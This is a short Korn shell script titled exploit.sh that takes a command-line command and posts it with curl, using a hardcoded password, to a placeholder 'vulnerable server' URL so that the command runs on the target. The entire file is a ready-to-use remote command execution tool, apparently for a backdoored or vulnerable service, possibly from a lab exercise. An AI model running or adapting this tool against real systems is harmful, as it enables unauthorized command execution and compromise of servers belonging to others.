#!/bin/ksh
#
# exploit.sh
# Run a command against the vulnerable server
# By J. Stuart McMuray
# Created 20250829
# Last Modified 20250829

PASSWORD=b6974f35b717c68ee1455840c884c4ac
TARGET=https://victim.not-h4x.lol
TIMEOUT=10

usage() {
        cat <<_eof
Usage: $(basename "$0") [options] command...

Makes a request to the vulnerable server to run the command on the target.

Options:
    -p password
        Server password ($PASSWORD)
    -t timeout
        HTTPS timeout in seconds ($TIMEOUT)
    -u URL
        Target URL ($TARGET)
    -h
        This help
_eof
}

while getopts p:t:u:h name; do
        case $name in
                p) PASSWORD=$OPTARG   ;;
                t) TIMEOUT=$OPTARG    ;;
                u) TARGET=$OPTARG     ;;
                h) usage;     exit 0  ;;
                *) usage >&2; exit 10 ;;
        esac
done
shift $(($OPTIND -1))

# Make sure we have all the bits we need.
if [[ -z "$*" ]]; then
        echo "A command is required" >&2
        exit 11
elif [[ -z "$TARGET" ]]; then 
        echo "A target is required" >&2
        exit 12
fi


# Throw it!
curl \
        --data-raw "$*" \
        --max-time "$TIMEOUT" \
        --show-error \
        --silent \
        --user ":$PASSWORD" \
        "$TARGET"
RET=$?
if [[ 0 -ne "$RET" ]]; then
        echo "Curl exited with unhappy code $RET" >&2
fi
exit "$RET"
